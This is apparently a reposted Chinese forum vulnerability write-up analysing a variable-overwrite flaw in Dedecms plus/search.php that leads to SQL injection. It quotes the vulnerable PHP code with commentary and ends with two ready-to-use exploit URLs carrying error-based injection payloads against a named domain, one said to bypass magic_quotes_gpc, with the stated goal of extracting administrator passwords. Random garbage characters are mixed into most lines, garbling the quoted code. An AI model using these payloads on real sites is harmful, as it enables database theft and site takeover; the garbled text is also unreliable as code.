微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
% ^1 E5 f ~9 Q, B6 v作者: c4rp3nt3r@0x50sec.org8 \1 N$ C2 S: A( R c
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.; E& c" ?9 U/ q& _* k
1 @# w+ Q& E1 G+ F$ \ J
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
+ _, a- L+ X# Z
5 y1 P' p* Q3 i8 I0 l* I============
8 q) q; P3 C J9 L ; b+ N2 D, D( N
2 p2 E) T) Y7 q( N0 o: i; a# mDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.! S. N5 h- e+ s. z* `; d4 f
- E5 ?+ {* {1 t {7 T
require_once(dirname(__FILE__).”/../include/common.inc.php”);8 } b! `( v6 u `" H/ Z% {8 L& z
require_once(DEDEINC.”/arc.searchview.class.php”);2 D2 B+ `% a) `4 N0 F
7 P7 X1 p- d5 W2 O) z$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
* J0 E- S' p6 w; o$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;0 B. [5 U' O! [
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
% h9 @) X8 e/ m3 X3 G4 g$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;$ C/ I2 {3 q4 O5 l
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
- Y# u8 i4 b: T
- @( T( {$ O: x( F! Vif(!isset($orderby)) $orderby=”;* ~4 c6 \: V9 N- Q; v3 H
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
7 G; z( {# C4 }# f0 s, A
" s$ j* j& `; r4 |* C2 b: q* | 0 o- [; F" Z: X
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
5 Z7 B% R. y; [* d0 j1 ielse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);$ p* ? y5 g7 D4 B Z& G! ~) O" B- E
( E+ ^2 e! |5 n$ |0 cif(!isset($keyword)){
4 h1 c7 ^3 C& ^: [- Z; K) X) a& D2 c9 e if(!isset($q)) $q = ”;
: _+ W, E4 c6 h" A; n' _1 u $keyword=$q;
! Z9 P0 H/ O4 K$ g0 {}0 j- u# C7 a& K" o1 v8 f
7 d8 x$ x# k2 d) \6 k) E. M$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
0 U; H; T$ ~0 q+ Y$ r; H% i1 T
) {' b" ?+ s( f+ v//查找栏目信息
4 {9 ^4 j. N4 W0 uif(empty($typeid))
+ c' G: P* ~. T* m{
1 P$ Q9 u' j% U4 ~* ^. s, A $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
* c: s0 r4 z9 ^) C3 g7 \& M if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
; r/ `% A) Z; n$ ^ {- P9 ~8 P7 z% C0 z9 v* Q" ^9 r
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);. O+ N6 D- X/ x6 h" y2 H# P% q
fwrite($fp, “<”.”?php\r\n”);% Z% n. I) t; q N& V
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);% ~8 m/ S* U: Z2 v1 K
$dsql->Execute();
( q# ?; i, N+ [# {7 N& w( X0 { while($row = $dsql->GetArray())
: X" j$ T% h; `$ V {& n6 x3 R& |7 r# L( s, B, N8 @
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);5 t( S2 D9 ^9 Y5 a6 R6 ~
}2 {9 x. t. [' ^# _2 q B) `5 H
fwrite($fp, ‘?’.'>’);
7 i5 J8 C$ s4 F& y fclose($fp);; c& _0 N. X" h7 _; U4 T# P c
}: c" `' R/ u& Z8 m) W4 `% {
//引入栏目缓存并看关键字是否有相关栏目内容! V2 U4 b9 x8 ] @6 M2 R
require_once($typenameCacheFile);
! I1 Z7 |% Q# U9 {+ y* Q6 s$ [& y//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
: V; K# o5 u* a& ^" X* _//1 G# X% y, Q! ]1 X- a% G6 D+ Z0 O
if(isset($typeArr) && is_array($typeArr))9 P; U2 x7 y; |# K; r$ t+ Y9 e
{
+ S6 u! E( ~$ b' ]1 o8 _ foreach($typeArr as $id=>$typename)
- u2 o$ ~" e) F- l) x {
1 e" d) q, t8 h0 R3 [* U( {2 H3 {2 g3 b
4 O$ F8 q2 @/ ?3 Z, J& a `) E <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过/ m7 W% L5 N& v* A0 ~! S$ s
if($keyword != $keywordn)1 Q; J% T0 ]$ Z+ e3 ]) q
{) Q( Z v& {2 ~0 F
$keyword = $keywordn;( W S$ o- O- g* M( d( U
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设; @4 f1 Z L! G4 {0 X
break;
2 \6 m6 y! N# H+ u1 y0 a6 O$ p G }
" r0 n. m/ |; X- |2 U- x }# L2 q8 E1 W: i
}
# _% i4 Z$ g- @* l" s2 a% F}
" Q5 S- w( v) u1 v1 O$ q然后plus/search.php文件下面定义了一个 Search类的对象 .
; x0 _. E+ k/ t! ^在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.7 I3 N" T! H, d6 N* ^& J9 {! M1 @9 L
$this->TypeLink = new TypeLink($typeid);; A0 \% }. c+ D0 o* _5 b8 k0 l
. e+ o, B" O. L( G! ]% [TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.$ s3 X8 W, T6 Q
% P4 \2 j5 N3 l" m5 J( C
class TypeLink
. j2 r& z+ ?- i; z7 k& O6 L9 S{
7 I6 [9 _( a/ B: i* I/ U n7 e var $typeDir;
" d2 h7 s# r. x var $dsql;
* O6 P; p/ f( l0 d: y/ x3 F3 @ var $TypeID;# R5 ?( B E2 c% c n# _, Q
var $baseDir;
- T. q+ h! Y2 F9 e7 a4 {! Y3 J var $modDir;
% A2 @0 Y- \" q/ a8 }' {" ? var $indexUrl;3 ?. R5 T% w# U" o1 q
var $indexName;7 h7 e& v. X& S; I% c
var $TypeInfos;+ t6 F( d/ J* @$ j- A+ |% B
var $SplitSymbol;
v. d G0 Q! t+ A# k; v2 E5 _7 d var $valuePosition;5 r' j3 s& {9 K. j
var $valuePositionName;* y! J. [4 a* ?6 w$ l: l# Y; |
var $OptionArrayList;//构造函数///////
/ R G( Y! h( g) H0 a. h" G //php5构造函数& p& \" v! Z ~+ m, {, h2 d- v
function __construct($typeid), j1 j8 d' {. \, V3 v& c* R" C
{1 n" ^! Y5 r* j2 c
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];8 c- y- z4 K/ V& A% w/ |6 V
$this->indexName = $GLOBALS['cfg_indexname'];+ D% W* p& H# |1 g5 O7 ^6 I
$this->baseDir = $GLOBALS['cfg_basedir'];
/ D/ \0 ?6 ~1 o7 i5 r( r $this->modDir = $GLOBALS['cfg_templets_dir'];
( r2 }# _+ t2 t" E $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
; Q5 u. }0 Q" C: S) t' Z# i $this->dsql = $GLOBALS['dsql'];
! C" c$ q% v$ P4 e( s% J9 j* @. k9 M; O $this->TypeID = $typeid;8 Q6 E, T, D6 d4 q- V1 A* |5 ~* n; g
$this->valuePosition = ”;: m, D+ m. S P2 }. [" L
$this->valuePositionName = ”;
0 P/ a" D' N, d $this->typeDir = ”;+ u+ d) Z9 _- D# J+ p# c0 B5 z
$this->OptionArrayList = ”;( {' A% H* q, B; O9 c
6 T0 Y k& K" b& s3 C
//载入类目信息
7 w9 d: Z- p1 H0 w5 o# q+ U
& P. N, V/ E/ R, o' | g: |, L <font color=”Red”>$query = “SELECT tp.*,ch.typename as/ X* L% X( j/ x2 A* W1 u S; @
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
8 n& z/ k2 b2 K+ n4 e* s: K`#@__channeltype` ch
- k' d# n2 U+ R- V" w1 O: ~ v2 | on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
5 @7 U# O& v' t+ t' F * f1 l! t) i9 Q) L
if($typeid > 0)7 J: g+ f# s* e9 \ O
{. C8 i: i8 X: ~0 u
$this->TypeInfos = $this->dsql->GetOne($query);
3 I* X/ l/ j: u利用代码一 需要 即使magic_quotes_gpc = Off8 M. B) y/ a. t: A" `
$ S/ H0 x& U2 L" s! ?www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title K/ Z* w) }6 D* G) T& {
+ W* ^+ m+ F0 ?8 [$ ?: _这只是其中一个利用代码… Search 类的构造函数再往下
: |; m) I, {/ e, v! W, \3 `
4 |! u/ B$ y; K7 |1 ]; V) N5 D……省略; `# f# k% }7 j6 K+ i2 p
$this->TypeID = $typeid;& a! u5 o9 I& g; I
……省略- a+ g4 C9 b \% n, Y& L
if($this->TypeID==”0″){9 C6 D- s9 V1 j: A G0 u( \
$this->ChannelTypeid=1;' u' ^! A0 f5 U6 ]+ }" b# c
}else{
3 o, a" ?3 Y" v $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
7 S1 j/ ]6 x4 q5 ^//现在不鸡肋了吧亲…
7 e b# Z4 \; m | $this->ChannelTypeid=$row['channeltype']; P8 f0 e6 k" x
& r' A# z( v& [8 Y$ ` }
$ o1 C, t2 T/ |" }3 d8 U+ O) f利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
1 A2 w+ M' N* l1 ~# o1 ~
' H/ F- } ?1 i3 _www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
6 u: ?" _8 `! r
, o& {+ L$ h; Q3 S/ s如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
" z" t6 C a: i, H |